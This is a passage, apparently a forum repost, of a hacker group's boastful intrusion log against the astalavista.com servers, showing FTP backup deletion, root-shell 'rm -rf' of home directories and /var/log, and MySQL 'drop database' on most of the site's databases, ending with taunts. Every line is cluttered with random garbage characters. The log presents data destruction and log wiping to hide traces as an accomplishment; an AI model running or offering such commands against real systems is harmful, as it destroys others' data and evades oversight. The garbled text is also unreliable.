) z5 L; }2 E1 F5 i9 t) K% |) R-rw-rw-rw- 1 astalavista.com users 88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2
" g' D5 T; e. h& G8 M k-rw-rw-rw- 1 astalavista.com users 26413034040 May 2 00:21 09-05-01-astacom-Public_HTML.tar, u* m( ?1 {" S2 g, M. U8 i
-rw-rw-rw- 1 astalavista.com users 277843549 May 1 17:29 09-05-01-astacom-SQL_Dump.tar# O. B ^- o1 k4 O
[snip]; Y7 m7 S9 c4 l H8 @# i& |
226 Transfer complete.
5 j# N9 k7 |" C! a! [% M" [: U* \ftp> mdelete *
3 p8 Q7 `2 R2 O) |ftp> ls -la% o* l& S" p6 e4 l0 g
227 Entering Passive Mode (212,254,194,163,2,193)" G% W j: }9 ~! n8 r, @
150 Opening BINARY mode data connection for ‘file list’.! m) t2 |" f9 N2 \% f" B& k
226 Transfer complete.
$ ] T, T. k# gftp>7 y$ a% z1 \% l8 J1 z- W9 d
; Y/ ]- S4 @$ Z! E. c, ?0 O% K
sh-3.2# cd /home: `; {- O7 ]; y7 h0 @$ x. o$ _
sh-3.2# ls -la+ k1 E: u. }6 X( y2 v# x7 ^% \
total 120* M/ @5 d5 K/ Z6 _; J" m0 F
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .% m; b, k' O6 R/ k4 w& r
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
+ w0 S" f H2 g+ \. Kdrwx–x–x 9 admin admin 4096 Nov 28 2007 admin
8 h3 d9 u- ]9 q) I-rw——- 1 root root 8192 Jun 4 03:03 aquota.group: W& M& D$ Z( P9 A3 G+ T; ^& ^
-rw——- 1 root root 8192 Jun 3 02:45 aquota.user
8 Z+ U2 V7 A9 K+ o2 o, Xdrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet4 ? l/ p% h8 `, v% R
drwxr-xr-x 2 root root 4096 Jul 29 2008 backup3 c1 J( p. ]' E4 h" \
drwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161/ c- Z$ y Z4 o# h. B
drwx–x–x 10 com com 4096 Apr 28 12:40 com* V/ B1 Z/ m/ Y2 n
drwxr-xr-x 2 root root 4096 May 17 2007 ftp
: T1 I7 r- k- ~0 T4 ~drwx—— 3 jon jon 4096 Sep 21 2007 jon
$ H3 L! T; L% D& |, m; l, t8 Zdrwx—— 2 root root 16384 Sep 11 2007 lost+found
( e I3 p+ e1 L; c5 ydrwxr-xr-x 2 root root 4096 Sep 14 2007 my J( Q9 h! M4 N1 T% i
drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata1 [( d/ e5 A( j; f, @: e
drwx—— 2 jon jon 4096 Sep 15 2007 test" p+ w: G0 _, i
drwxrwxrwt 2 root root 4096 Jul 29 2008 tmp: `% x( \" r2 H. I- \/ n6 p
4 Z7 a5 p$ s' X$ jsh-3.2# rm -rf backup/1 U! X% S3 r3 {
sh-3.2# rm -rf backup.14161/" q& c. {; V7 @8 i' t' D, ~2 ^6 {
sh-3.2# rm -rf ftp/
$ e8 R! B. h- I( Q; [! X0 Q1 ush-3.2# rm -rf jon/
6 X. n4 g1 J9 G7 Ksh-3.2# rm -rf my/. N8 X, \; @0 r' Y
sh-3.2# rm -rf mysqldata/: S4 Z1 R. ]7 O/ S6 D% @, ]
sh-3.2# rm -rf test/
# \5 A( M. S* M' Y0 I5 Lsh-3.2# rm -rf tmp/
3 Q- w- x2 D3 I2 A, m* Ssh-3.2# cd ~
# J7 |, M) W0 e/ q+ ^sh-3.2# rm -rf *2 k1 o- c8 S% l5 F' ?
sh-3.2# rm -rf /var/log/6 C5 F2 F ]/ y6 M
rm: cannot remove directory `/var/log//proftpd’: Directory not empty2 g8 l% j1 e+ ~ z
sh-3.2# rm -rf /home/*3 }! ~% l( ~9 J$ K1 ]
sh-3.2# mysql
4 g% e1 e3 T9 f- HWelcome to the MySQL monitor. Commands end with ; or \g.
& a/ F+ M+ R1 ]0 D, FYour MySQL connection id is 407156( _" p) p3 x% ^* t- [& t5 p
Server version: 5.0.45-community-log MySQL Community Edition (GPL)& H) F2 F" m- S' j
3 H$ E4 j$ g& b0 w6 b! f4 N1 ~+ EType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
" k& Z: i$ a6 E5 ]1 V* d8 w0 B0 E% e3 j
0 i' n7 P" i/ V9 V2 k) T8 V9 tmysql> show databases;4 N+ V2 L8 W! g% z3 y4 s) Y$ r
+———————–+
) {; j1 \# x/ U9 B$ } h7 e5 J| Database |
. A5 b ?( I2 X2 z, o0 n& v- u+———————–+
! U$ V) U5 e4 _# N| information_schema |
5 w, z. `8 v2 }- N8 T| astanet_ads |
5 ~& z) l! v: @: e- {5 A| astanet_mailing_lists |
* k, p; I u6 W2 j| astanet_mediawiki |2 g$ }3 w8 ]$ i) a: [: m- a5 k
| astanet_membersystem |8 G" |. x2 |: N8 A, [0 _
| com_contrexx |$ F. U6 d" S- n; N5 R
| com_contrexx2 |5 U1 _4 c `- \$ N) Q
| com_contrexx2_live |3 l: _3 Y) w/ a: \# ~9 s
| da_roundcube |% M1 H2 A" }% o* l( C& t
| dolphin |
0 r* {8 v3 @( q: W| ideapool |4 J) R/ z' }) h8 C/ w1 i2 U" Y
| mysql |
# K& m- a+ m- i* C6 s _| test |; C7 @! g+ u3 x! n' I- u
| yourmaster |. Q' s# ]. H' n6 B7 N' z& l& ^, c
+———————–++ F( k: s" |4 Y) q& \
14 rows in set (0.03 sec)
|5 d+ f) O+ Q' P+ L/ V! d! ?$ i% q! h1 u% u4 {4 e
mysql> drop database astanet_membersystem;
+ A" W& N. ]7 `7 _$ N* {, QdroQuery OK, 46 rows affected (0.81 sec)9 f. `! z- a- T: ^/ o9 g5 Z' g) x, p
9 |5 y7 v) g; u6 H4 p+ w, Omysql> drop database com_contrexx;' E2 U5 I+ \6 v. D( D1 C
Query OK, 211 rows affected (2.72 sec)
9 U$ h$ A; f: Q( S3 V3 F
4 F* {( D5 J' k9 D1 h2 Ymysql> drop database com_contrexx2;* i, Y; a: o5 E9 r9 q) G1 q: J
Query OK, 237 rows affected (2.23 sec)
5 A9 t- w# H {: i- D
2 w; b# E7 M& E# e2 z- Imysql> drop database com_contrexx2_live;
9 d8 S; `' _; d6 i$ x- L4 |Query OK, 227 rows affected (7.63 sec)
4 O) ~# _$ C3 J% ]& l( J: F7 k- r0 S/ ~) q: b8 ^! B
mysql> drop database ideapool;
! l3 J+ v, X# l: U; eQuery OK, 69 rows affected (0.19 sec)
0 }- k3 C* N& N0 V/ W9 Y
( g; j7 y# L9 L7 z: R* Rmysql> drop database yourmaster;
e0 Z: Y! I. W) E8 H2 [Query OK, 158 rows affected (0.55 sec)
+ M1 P' m( } a" W% ]! w- ]( p0 T1 x. K: l2 H1 T- w
mysql> drop database astanet_ads;
! @* a0 x' S$ _Query OK, 9 rows affected (0.11 sec)
9 Z5 c" |6 T, C, l
4 I7 V0 i; l) Lmysql> drop database astanet_mailing_lists;
+ K3 r9 a1 \( _; G- o' H* HQuery OK, 24 rows affected (1.47 sec)) H8 F9 w; V( x" S% D! \ J
4 R- W0 x& o1 o" e! R& i/ L
mysql> drop database astanet_mediawiki;
$ a6 g; Q8 m7 f6 nQuery OK, 31 rows affected (0.51 sec)
( U2 d p- g/ J4 c( t9 g+ H( A4 ~4 T2 l
7 v: ~! H. q6 I2 E% b' ^% d# l; ?# umysql> show databases;
# {; q [9 g% i7 i- @! ~+——————–+. r$ w" d: n: c3 O
| Database |+ z5 C4 P1 d8 q; X7 k) a5 _
+——————–+
3 t' h$ y- V' x| information_schema |$ H; K, T' i2 `
| da_roundcube |+ ]; }) e$ W1 `' X' i, [
| dolphin |0 @* ~( b) z2 F3 W$ A7 @1 r
| mysql |
2 D! M4 L, v6 G& M/ Y% o| test |& L6 T7 U! b2 W. r' E
+——————–+: P1 s' w5 S/ ^! H
5 rows in set (0.00 sec)
5 m, Z& S4 l' n( U3 S1 q
0 O5 x; }4 G# Z2 h3 W0 S# OWhat a journey! We’re not sure exactly why the “Terminator” had any influence on
% [0 L- ~7 [& ^* o4 Ftheir naming (conventions) but we’re sure Arnold himself wouldn’t be in the$ |( H) r7 [1 U, ]
wrong to say this pack of morons *wont be back*.
3 L( @" L" h/ H |
发表于 2012-11-6 21:07:34
收藏
支持
反对